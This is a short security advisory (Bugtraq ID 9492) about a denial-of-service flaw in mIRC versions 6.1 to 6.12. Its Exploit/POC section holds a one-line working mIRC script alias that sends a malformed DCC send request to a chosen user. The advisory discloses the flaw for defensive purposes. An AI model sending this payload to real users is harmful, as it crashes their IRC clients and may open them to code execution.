mIRC DCC Get Dialog Denial Of Service Vulnerability

BID:9492

Info

mIRC DCC Get Dialog Denial Of Service Vulnerability

Bugtraq ID: 9492
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Jan 26 2004 12:00AM
Updated: Jan 26 2004 12:00AM
Credit: Discovery of this vulnerability has been credited to MASTER VIPER <[email protected]>.
Vulnerable: Khaled Mardam-Bey mIRC 6.12
Khaled Mardam-Bey mIRC 6.11
Khaled Mardam-Bey mIRC 6.1
Not Vulnerable:

Discussion

mIRC DCC Get Dialog Denial Of Service Vulnerability

A vulnerability has been reported to exist in mIRC that may allow a remote attacker to crash a vulnerable mIRC client.

It has been reported that the issue will present itself only in certain circumstances. Although unconfirmed, due to the nature of this vulnerability it has been conjectured that a remote attacker may potentially lever this issue to have arbitrary code executed in the context of the affected mIRC client.

Exploit / POC

mIRC DCC Get Dialog Denial Of Service Vulnerability

The following proof of concept has been supplied:

alias mirc612 { echo -a *** Sending exploit to $$1 | .raw PRIVMSG $$1 $+(:,$chr(1),DCC) send $str($rand(a,z) $+ $chr(256),250) $+ 0 $+ .txt 2130706433 $+(8192,$chr(1)) }

Solution / Fix

mIRC DCC Get Dialog Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

mIRC DCC Get Dialog Denial Of Service Vulnerability

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